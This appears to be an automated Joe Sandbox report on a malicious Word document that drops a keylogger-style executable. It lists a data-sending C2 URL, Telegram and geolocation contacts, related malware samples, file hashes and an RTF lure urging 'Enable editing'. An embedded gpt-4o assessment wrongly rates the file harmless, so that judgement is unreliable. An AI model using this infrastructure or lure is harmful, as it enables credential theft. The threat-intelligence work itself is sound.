https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	swagodi78811.scr, 00000014.00000002.663684485.0000000002683000.00000004.00000800.00020000.00000000.sdmp, swagodi78811.scr, 00000014.00000002.663684485.0000000002670000.00000004.00000800.00020000.00000000.sdmp, swagodi78811.scr, 00000014.00000002.663684485.00000000026C4000.00000004.00000800.00020000.00000000.sdmp, swagodi78811.scr, 00000014.00000002.663684485.00000000026B1000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663663825.00000000025D2000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.664487526.000000000336B000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.664487526.00000000033B7000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663663825.0000000002591000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663663825.000000000257E000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663663825.00000000025BF000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://checkip.dyndns.comX	swagodi78811.scr, 00000014.00000002.663684485.0000000002559000.00000004.00000800.00020000.00000000.sdmp, swagodi78811.scr, 00000014.00000002.663684485.0000000002595000.00000004.00000800.00020000.00000000.sdmp, swagodi78811.scr, 00000014.00000002.663684485.0000000002586000.00000004.00000800.00020000.00000000.sdmp, swagodi78811.scr, 00000014.00000002.663684485.000000000255E000.00000004.00000800.00020000.00000000.sdmp, swagodi78811.scr, 00000014.00000002.663684485.000000000254E000.00000004.00000800.00020000.00000000.sdmp, swagodi78811.scr, 00000014.00000002.663684485.0000000002539000.00000004.00000800.00020000.00000000.sdmp, swagodi78811.scr, 00000014.00000002.663684485.0000000002498000.00000004.00000800.00020000.00000000.sdmp, swagodi78811.scr, 00000014.00000002.663684485.000000000252B000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663663825.0000000002398000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663663825.0000000002493000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663663825.0000000002482000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663663825.000000000243E000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663663825.0000000002457000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663663825.000000000242C000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663663825.0000000002449000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663663825.00000000024A1000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://checkip.dyndns.orgX	swagodi78811.scr, 00000014.00000002.663684485.0000000002559000.00000004.00000800.00020000.00000000.sdmp, swagodi78811.scr, 00000014.00000002.663684485.0000000002595000.00000004.00000800.00020000.00000000.sdmp, swagodi78811.scr, 00000014.00000002.663684485.0000000002586000.00000004.00000800.00020000.00000000.sdmp, swagodi78811.scr, 00000014.00000002.663684485.000000000255E000.00000004.00000800.00020000.00000000.sdmp, swagodi78811.scr, 00000014.00000002.663684485.000000000254E000.00000004.00000800.00020000.00000000.sdmp, swagodi78811.scr, 00000014.00000002.663684485.0000000002539000.00000004.00000800.00020000.00000000.sdmp, swagodi78811.scr, 00000014.00000002.663684485.0000000002498000.00000004.00000800.00020000.00000000.sdmp, swagodi78811.scr, 00000014.00000002.663684485.000000000252B000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663663825.0000000002398000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663663825.0000000002493000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663663825.0000000002482000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663663825.000000000243E000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663663825.0000000002457000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663663825.000000000242C000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663663825.0000000002449000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663663825.00000000024A1000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.entrust.net/2048ca.crl0	EQNEDT32.EXE, 00000009.00000002.392933618.00000000005EF000.00000004.00000020.00020000.00000000.sdmp, swagodi78811.scr, 00000014.00000002.663426332.000000000079D000.00000004.00000020.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663315507.000000000077C000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	swagodi78811.scr, 00000014.00000002.663684485.0000000002683000.00000004.00000800.00020000.00000000.sdmp, swagodi78811.scr, 00000014.00000002.663684485.0000000002670000.00000004.00000800.00020000.00000000.sdmp, swagodi78811.scr, 00000014.00000002.663684485.00000000026C4000.00000004.00000800.00020000.00000000.sdmp, swagodi78811.scr, 00000014.00000002.663684485.00000000026B1000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663663825.00000000025D2000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.664487526.000000000336B000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.664487526.00000000033B7000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663663825.0000000002591000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663663825.000000000257E000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663663825.00000000025BF000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://51.38.247.67:8081/_send_.php?LCapplication/x-www-form-urlencoded	swagodi78811.scr, 0000000A.00000002.412121084.0000000003129000.00000004.00000800.00020000.00000000.sdmp, swagodi78811.scr, 00000014.00000002.663140063.000000000042B000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
172.67.197.72	unknown	United States	13335	CLOUDFLARENETUS	false
132.226.8.169	unknown	United States	16989	UTMEMUS	false
149.154.167.220	api.telegram.org	United Kingdom	62041	TELEGRAMRU	true
188.114.97.3	reallyfreegeoip.org	European Union	13335	CLOUDFLARENETUS	true
193.122.6.168	unknown	United States	31898	ORACLE-BMC-31898US	false
188.114.96.3	unknown	European Union	13335	CLOUDFLARENETUS	false
193.122.130.0	unknown	United States	31898	ORACLE-BMC-31898US	false
158.101.44.242	unknown	United States	31898	ORACLE-BMC-31898US	false
104.21.52.88	meridianresourcellc.top	United States	13335	CLOUDFLARENETUS	true
132.226.247.73	checkip.dyndns.com	United States	16989	UTMEMUS	false

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1483266
Start date and time:	2024-07-26 23:44:09 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 9m 1s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowsofficecookbook.jbs
Analysis system description:	Windows 7 x64 SP1 with Office 2010 SP1 (IE 11, FF52, Chrome 57, Adobe Reader DC 15, Flash 25.0.0.127, Java 8 Update 121, .NET 4.6.2)
Number of analysed new started processes analysed:	30
Number of new started drivers analysed:	1
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	order072724.docx.doc
Detection:	MAL
Classification:	mal100.troj.spyw.expl.evad.winDOC@25/31@68/10
EGA Information:	Successful, ratio: 40%
HCA Information:	Successful, ratio: 98% Number of executed functions: 243 Number of non-executed functions: 10
Cookbook Comments:	Found application associated with file extension: .doc Found Word or Excel or PowerPoint or XPS Viewer Attach to Office via COM Scroll down Close Viewer

Warnings

Exclude process from analysis (whitelisted): mrxdav.sys, dllhost.exe, rundll32.exe, WMIADAP.exe, conhost.exe
Execution Graph export aborted for target EQNEDT32.EXE, PID 3408 because there are no executed function
Execution Graph export aborted for target gRpkBp.exe, PID 2060 because it is empty
Execution Graph export aborted for target swagodi78811.scr, PID 3880 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: order072724.docx.doc

Simulations

Behavior and APIs

Time	Type	Description
14:45:25	Task Scheduler	Run new task: gRpkBp path: C:\Users\user\AppData\Roaming\gRpkBp.exe
17:45:18	API Interceptor	60x Sleep call for process: EQNEDT32.EXE modified
17:45:20	API Interceptor	1600941x Sleep call for process: swagodi78811.scr modified
17:45:22	API Interceptor	105x Sleep call for process: powershell.exe modified
17:45:24	API Interceptor	3x Sleep call for process: schtasks.exe modified
17:45:25	API Interceptor	194x Sleep call for process: taskeng.exe modified
17:45:27	API Interceptor	984822x Sleep call for process: gRpkBp.exe modified

LLM Input / Output

Input

Output

URL: Office document Model: gpt-4o

```json
{
  "riskscore": 0,
  "reasons": "The provided screenshot does not contain any visually prominent buttons or links. The text in the screenshot appears to be a list of items or codes, and there is no language that creates a sense of urgency or interest. Additionally, there is no impersonation of well-known brands. Therefore, there is no indication that this document could mislead the user into clicking on a potentially harmful link."
}

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
172.67.197.72	LisectAVT_2403002B_80.exe	Get hash	malicious	Lokibot	Browse	meridianresourcellc.top/document/five/fre.php
132.226.8.169	SecuriteInfo.com.Exploit.CVE-2018-0798.4.16578.20925.rtf	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	SecuriteInfo.com.Trojan.PackedNET.2944.2376.13684.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	SecuriteInfo.com.Exploit.CVE-2017-11882.123.25886.26681.rtf	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	kHeNppYRgN.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	Purchase Order - P04737.xls	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	5RQ24SOW EPIRB_TOTAL Marine Services Ltd.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	DHL_497104908518.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	Tystnendes.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	checkip.dyndns.org/
	25bbed456281ea6f37cb6b295ebd0d1764156e797b4f15e0dc1bbcd7342086a9_payload.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	Revised PI_2024.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	checkip.dyndns.org/
149.154.167.220	VJV2AjJ7Na.exe	Get hash	malicious	XWorm	Browse
	zx.ps1	Get hash	malicious	Unknown	Browse
	new order 00041221.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	7NeoZ6OBn2.exe	Get hash	malicious	Unknown	Browse
	7NeoZ6OBn2.exe	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	Unknown	Browse
	LisectAVT_2403002A_127.exe	Get hash	malicious	AgentTesla	Browse
	LisectAVT_2403002A_74.exe	Get hash	malicious	AgentTesla	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
reallyfreegeoip.org	SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.97.3
	new order 00041221.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.97.3
	New order.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.97.3
	New Order.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
	Payment_Advice.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	188.114.97.3
	LPO-9180155-PDF.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	188.114.97.3
	Apixaban - August 2024.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	188.114.96.3
	Payment Slip.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	188.114.97.3
	Torpernes.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	188.114.96.3
	Confirmation Order.js	Get hash	malicious	Snake Keylogger	Browse	188.114.97.3
meridianresourcellc.top	LisectAVT_2403002B_18.exe	Get hash	malicious	Lokibot	Browse	104.21.52.88
	LisectAVT_2403002B_80.exe	Get hash	malicious	Lokibot	Browse	172.67.197.72
	SecuriteInfo.com.Exploit.CVE-2018-0798.4.27057.11598.rtf	Get hash	malicious	Remcos	Browse	104.21.52.88
	th#U00f4ng s#U1ed1 k#U1ef9 thu#U1eadt.scr.exe	Get hash	malicious	Lokibot	Browse	104.21.52.88
checkip.dyndns.com	SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Get hash	malicious	Snake Keylogger	Browse	158.101.44.242
	new order 00041221.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	193.122.6.168
	New order.exe	Get hash	malicious	Snake Keylogger	Browse	193.122.6.168
	New Order.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	193.122.130.0
	Payment_Advice.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	193.122.6.168
	LPO-9180155-PDF.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	132.226.247.73
	Apixaban - August 2024.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	193.122.6.168
	Payment Slip.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	193.122.6.168
	Torpernes.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	158.101.44.242
	Confirmation Order.js	Get hash	malicious	Snake Keylogger	Browse	132.226.247.73
api.telegram.org	VJV2AjJ7Na.exe	Get hash	malicious	XWorm	Browse	149.154.167.220
	zx.ps1	Get hash	malicious	Unknown	Browse	149.154.167.220
	new order 00041221.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	7NeoZ6OBn2.exe	Get hash	malicious	Unknown	Browse	149.154.167.220
	7NeoZ6OBn2.exe	Get hash	malicious	Unknown	Browse	149.154.167.220
	file.exe	Get hash	malicious	Unknown	Browse	149.154.167.220
	file.exe	Get hash	malicious	Unknown	Browse	149.154.167.220
	file.exe	Get hash	malicious	Unknown	Browse	149.154.167.220
	LisectAVT_2403002A_127.exe	Get hash	malicious	AgentTesla	Browse	149.154.167.220
	LisectAVT_2403002A_74.exe	Get hash	malicious	AgentTesla	Browse	149.154.167.220

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
TELEGRAMRU	8bZMO28ywp.exe	Get hash	malicious	RedLine	Browse	149.154.167.99
	VJV2AjJ7Na.exe	Get hash	malicious	XWorm	Browse	149.154.167.220
	zx.ps1	Get hash	malicious	Unknown	Browse	149.154.167.220
	1lKbb2hF7fYToopfpmEvlyRN.exe	Get hash	malicious	LummaC, Vidar	Browse	149.154.167.99
	new order 00041221.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	7NeoZ6OBn2.exe	Get hash	malicious	Unknown	Browse	149.154.167.220
	7NeoZ6OBn2.exe	Get hash	malicious	Unknown	Browse	149.154.167.220
	fps-booster.exe	Get hash	malicious	StormKitty	Browse	149.154.167.99
	file.exe	Get hash	malicious	Unknown	Browse	149.154.167.220
	file.exe	Get hash	malicious	Unknown	Browse	149.154.167.220
CLOUDFLARENETUS	o4iytkmhqh.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	188.114.97.3
	setup.exe	Get hash	malicious	MicroClip	Browse	172.64.41.3
	PO#36463.3576e98f-8620-45d5-826b-6cdad93e0dbf.pdf	Get hash	malicious	Unknown	Browse	188.114.96.3
	setup.exe	Get hash	malicious	MicroClip	Browse	162.159.61.3
	file.exe	Get hash	malicious	Babadeda	Browse	172.64.41.3
	file.exe	Get hash	malicious	Babadeda	Browse	172.64.41.3
	http://DocSign.com-sigin@link.mail.beehiiv.com/ss/c/u001.6C5fb2jgNhK_7sih4vM3VZa9fE9tHBc9fWZLirgY7_MATRo7_qx7xDq5ZlnkMcO1QobynJ6PiItP4Wtcapt8tiaBcTbWM1w1MHuIiN_t_ffA_hJhmN8MgAW_Y4IPUoI1h738Lg4BNmL00CidixANpmMWuHYfF_cqfaxRK8lTMG1-wWhggG-d_C9QTaVWEbiJnLtTvYAHUheBKqEheltOyd97XuseNyZagdwHWCmhlkT7OlY8Lp8eVUjpaeMG7DI9deGuQGtHQPcQvFzkIQDa0a059V0CK-1cuy9eYoGUQgWNJ1TPUjC6FsPayH_g-TuOL3IqvHxaW2HwLWamtU9SbxCZfYmpyBNUtHDM0eWtV7pGx46kRVIH5Zs6e8rn0M4S/48d/73GSN9mjRhWrn93bto5IvA/h6/h001.m620eFbVsxMcJ4uiRyQ1LhT_dC1ms-gS22AQz8fYhEI#ANANT.GUPTA@AARCORP.COM	Get hash	malicious	HTMLPhisher	Browse	104.18.68.40
	Hollandco Company Guidelines Employee Handbook___fdp.docx	Get hash	malicious	HTMLPhisher, Tycoon2FA	Browse	104.21.46.160
	Modrinth_Installer.exe	Get hash	malicious	XWorm	Browse	104.18.23.35
	Account Statement #U2713 PC - ID 30781-20733-1691072748.htm	Get hash	malicious	Unknown	Browse	1.1.1.1
CLOUDFLARENETUS	o4iytkmhqh.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	188.114.97.3
	setup.exe	Get hash	malicious	MicroClip	Browse	172.64.41.3
	PO#36463.3576e98f-8620-45d5-826b-6cdad93e0dbf.pdf	Get hash	malicious	Unknown	Browse	188.114.96.3
	setup.exe	Get hash	malicious	MicroClip	Browse	162.159.61.3
	file.exe	Get hash	malicious	Babadeda	Browse	172.64.41.3
	file.exe	Get hash	malicious	Babadeda	Browse	172.64.41.3
	http://DocSign.com-sigin@link.mail.beehiiv.com/ss/c/u001.6C5fb2jgNhK_7sih4vM3VZa9fE9tHBc9fWZLirgY7_MATRo7_qx7xDq5ZlnkMcO1QobynJ6PiItP4Wtcapt8tiaBcTbWM1w1MHuIiN_t_ffA_hJhmN8MgAW_Y4IPUoI1h738Lg4BNmL00CidixANpmMWuHYfF_cqfaxRK8lTMG1-wWhggG-d_C9QTaVWEbiJnLtTvYAHUheBKqEheltOyd97XuseNyZagdwHWCmhlkT7OlY8Lp8eVUjpaeMG7DI9deGuQGtHQPcQvFzkIQDa0a059V0CK-1cuy9eYoGUQgWNJ1TPUjC6FsPayH_g-TuOL3IqvHxaW2HwLWamtU9SbxCZfYmpyBNUtHDM0eWtV7pGx46kRVIH5Zs6e8rn0M4S/48d/73GSN9mjRhWrn93bto5IvA/h6/h001.m620eFbVsxMcJ4uiRyQ1LhT_dC1ms-gS22AQz8fYhEI#ANANT.GUPTA@AARCORP.COM	Get hash	malicious	HTMLPhisher	Browse	104.18.68.40
	Hollandco Company Guidelines Employee Handbook___fdp.docx	Get hash	malicious	HTMLPhisher, Tycoon2FA	Browse	104.21.46.160
	Modrinth_Installer.exe	Get hash	malicious	XWorm	Browse	104.18.23.35
	Account Statement #U2713 PC - ID 30781-20733-1691072748.htm	Get hash	malicious	Unknown	Browse	1.1.1.1
UTMEMUS	New order.exe	Get hash	malicious	Snake Keylogger	Browse	132.226.247.73
	LPO-9180155-PDF.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	132.226.247.73
	Confirmation Order.js	Get hash	malicious	Snake Keylogger	Browse	132.226.247.73
	Deye Union - PO # 23081377.exe	Get hash	malicious	Snake Keylogger	Browse	132.226.247.73
	SecuriteInfo.com.Exploit.CVE-2018-0798.4.16578.20925.rtf	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	132.226.247.73
	Purchase Order POT-247110.scr.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	132.226.247.73
	SecuriteInfo.com.Trojan.PackedNET.2944.2376.13684.exe	Get hash	malicious	Snake Keylogger	Browse	132.226.8.169
	SecuriteInfo.com.Exploit.CVE-2017-11882.123.25886.26681.rtf	Get hash	malicious	Snake Keylogger	Browse	132.226.247.73
	Purchase Order.exe	Get hash	malicious	DarkTortilla, Snake Keylogger	Browse	132.226.247.73
	yIRn1ZmsQF.elf	Get hash	malicious	Unknown	Browse	128.169.78.63

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
05af1f5ca1b87cc9cc9b25185115607d	pn24_065.docx.doc	Get hash	malicious	Unknown	Browse	172.67.197.72 188.114.97.3 104.21.52.88
	waybill_shipping_documents_original_BL_CI&PL_26_07_2024_00000000_doc.xls	Get hash	malicious	GuLoader, Remcos	Browse	172.67.197.72 188.114.97.3 104.21.52.88
	invoice.docx.doc	Get hash	malicious	FormBook	Browse	172.67.197.72 188.114.97.3 104.21.52.88
	New order.exe	Get hash	malicious	Snake Keylogger	Browse	172.67.197.72 188.114.97.3 104.21.52.88
	042240724.xls	Get hash	malicious	Remcos	Browse	172.67.197.72 188.114.97.3 104.21.52.88
	SecuriteInfo.com.Exploit.CVE-2018-0798.4.16578.20925.rtf	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	172.67.197.72 188.114.97.3 104.21.52.88
	SecuriteInfo.com.Exploit.CVE-2017-11882.123.25886.26681.rtf	Get hash	malicious	Snake Keylogger	Browse	172.67.197.72 188.114.97.3 104.21.52.88
	dukas022.docx.doc	Get hash	malicious	Unknown	Browse	172.67.197.72 188.114.97.3 104.21.52.88
	S004232824113048.xls	Get hash	malicious	Remcos, DBatLoader	Browse	172.67.197.72 188.114.97.3 104.21.52.88
	VERDACHT_New Order 8025047.docx	Get hash	malicious	VIP Keylogger	Browse	172.67.197.72 188.114.97.3 104.21.52.88
7dcce5b76c8b17472d024758970a406b	pn24_065.docx.doc	Get hash	malicious	Unknown	Browse	104.21.52.88
	waybill_shipping_documents_original_BL_CI&PL_26_07_2024_00000000_doc.xls	Get hash	malicious	GuLoader, Remcos	Browse	104.21.52.88
	invoice.docx.doc	Get hash	malicious	FormBook	Browse	104.21.52.88
	042240724.xls	Get hash	malicious	Remcos	Browse	104.21.52.88
	Scan file.doc	Get hash	malicious	Unknown	Browse	104.21.52.88
	fLnj4EeH6V.rtf	Get hash	malicious	Unknown	Browse	104.21.52.88
	SecuriteInfo.com.Exploit.CVE-2018-0798.4.16578.20925.rtf	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.52.88
	DRAFT AWB and DRAFT Commercial invoice.xls	Get hash	malicious	Remcos	Browse	104.21.52.88
	dukas022.docx.doc	Get hash	malicious	Unknown	Browse	104.21.52.88
	S004232824113048.xls	Get hash	malicious	Remcos, DBatLoader	Browse	104.21.52.88
36f7277af969a6947a61ae0b815907a1	girlfrnd.doc	Get hash	malicious	GuLoader, Remcos	Browse	149.154.167.220
	PRZELEW BANKOWY.xls	Get hash	malicious	Unknown	Browse	149.154.167.220
	PRZELEW BANKOWY.xls	Get hash	malicious	Unknown	Browse	149.154.167.220
	waybill_shipping_documents_original_BL_CI&PL_26_07_2024_00000000_doc.xls	Get hash	malicious	GuLoader, Remcos	Browse	149.154.167.220
	2FBexXRCHR.rtf	Get hash	malicious	AgentTesla	Browse	149.154.167.220
	042240724.xls	Get hash	malicious	Remcos	Browse	149.154.167.220
	SecuriteInfo.com.Exploit.CVE-2018-0798.4.16578.20925.rtf	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	S004232824113048.xls	Get hash	malicious	Remcos, DBatLoader	Browse	149.154.167.220
	M6hS9qGbFx.rtf	Get hash	malicious	AgentTesla	Browse	149.154.167.220
	DRWG-347RB1.pd.xls	Get hash	malicious	Unknown	Browse	149.154.167.220

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	131072
Entropy (8bit):	0.025564139045165832
Encrypted:	false
SSDEEP:	6:I3DPcjEHvxggLRxDsCY/l3RXv//4tfnRujlw//+GtluJ/eRuj:I3DPLFIRvYg3J/
MD5:	1DC466685469840300A494CD367B51A9
SHA1:	06DA5DCF5D3C315B65A92225E651BD052D8B365A
SHA-256:	4F940B9345C1494059A19CACDAC806388BA1AB1D5A994ECE8D186EF7DF18BF51
SHA-512:	9BF965C1C403BC6BC384549A695633C70F576976608E7D808A50F64380A5C1A13E72AE9646E21A6979667737182D97577BD33218CF71F24D2F5C35DA5FB397C3
Malicious:	false
Reputation:	low
Preview:	......M.eFy...zu...p..M......V*S,...X.F...Fa.q............................&r....oI.....D6..........b.6...L.C.;J.i......................................................................x...x...x...x...............................................................................................................................................................................................................................................................................................................................zV.......... ..@...................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	0.34726597513537405
Encrypted:	false
SSDEEP:	3:Nlll:Nll
MD5:	446DD1CF97EABA21CF14D03AEBC79F27
SHA1:	36E4CC7367E0C7B40F4A8ACE272941EA46373799
SHA-256:	A7DE5177C68A64BD48B36D49E2853799F4EBCFA8E4761F7CC472F333DC5F65CF
SHA-512:	A6D754709F30B122112AE30E5AB22486393C5021D33DA4D1304C061863D2E1E79E8AEB029CAE61261BB77D0E7BECD53A7B0106D6EA4368B4C302464E3D941CF7
Malicious:	false
Reputation:	high, very likely benign file
Preview:	@...e...........................................................

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\swagodi[1].doc

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	Rich Text Format data, version 1
Category:	dropped
Size (bytes):	711568
Entropy (8bit):	4.106515155471183
Encrypted:	false
SSDEEP:	6144:j62W62W62W62W62W62W62W62W62W62W62W62W62W62W62W62W62W62W62W62W62I:K
MD5:	05E14A71757A27A508D0324732E006FE
SHA1:	54555F143881B2E53E44BC430BF709FC785F6BCF
SHA-256:	EEC7CF36EE9F2BB08B710C19227840D9FCB632C3DCCDF756D5A46CE194290469
SHA-512:	411E301FD70CCD8C16E2B85B37442387F9F3721A7BB24F236695DA95714C814A207F0D4AAA29B67ED594E8AAAEB13562922373AF7FC58622F33924371116878D
Malicious:	false
Yara Hits:	Rule: INDICATOR_RTF_MalVer_Objects, Description: Detects RTF documents with non-standard version and embeding one of the object mostly observed in exploit documents., Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\swagodi[1].doc, Author: ditekSHen
Preview:	{\rtf1..{\*\uow9Bqc8PtXTP3i85Dr4RyUlnpM5Ni1L3cpeJawSatrQkWySqpR5AZOyS0IoURaNmtYpd0VKML7q}..{\825440998please click Enable editing from the yellow bar above.The independent auditors. opinion says the financial statements are fairly ...stated in accordance with the basis of accounting used by your organization. So why are the auditors giving you that other letter ...In an audit of financial statements, professional standards require that auditors obtain an understanding of internal controls to ...the extent necessary to plan the audit. Auditors use this understanding of internal controls to assess the risk of material ...misstatement of the financial statements and to design appropriate audit procedures to minimize that risk.The definition of good ...internal controls is that they allow errors and other misstatements to be prevented or detected and corrected by (the nonprofit.s) ...employees in the normal course of performing their duties. If the auditors detect an unexpected material mi

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\swagodi[1].scr

Download File

Process:	C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	683016
Entropy (8bit):	7.9744561964387195
Encrypted:	false
SSDEEP:	12288:HsTnHaxBnGvHnutIognoP+wRYnS0qYVd1XXikKRj9l/klFck1zJstnkR:WaznWHfYFYnK8PXikKRnCc2dN
MD5:	C448536AEEA36B80A15D639E31C7B847
SHA1:	5225387E8D149E14A73F3D25A055B069750AEFCC
SHA-256:	490784A930FE7D630C926436C540441694C905A9CB1FE6B3C25D16C366D75492
SHA-512:	E51B95996A95C7FC9AE4206A76642D8C4B59062BB49BC54931BDC1FDA8A080F5F29451E71A3F63F2C3530D8D71B56F9E00482D38A6C645492932986523576F01
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
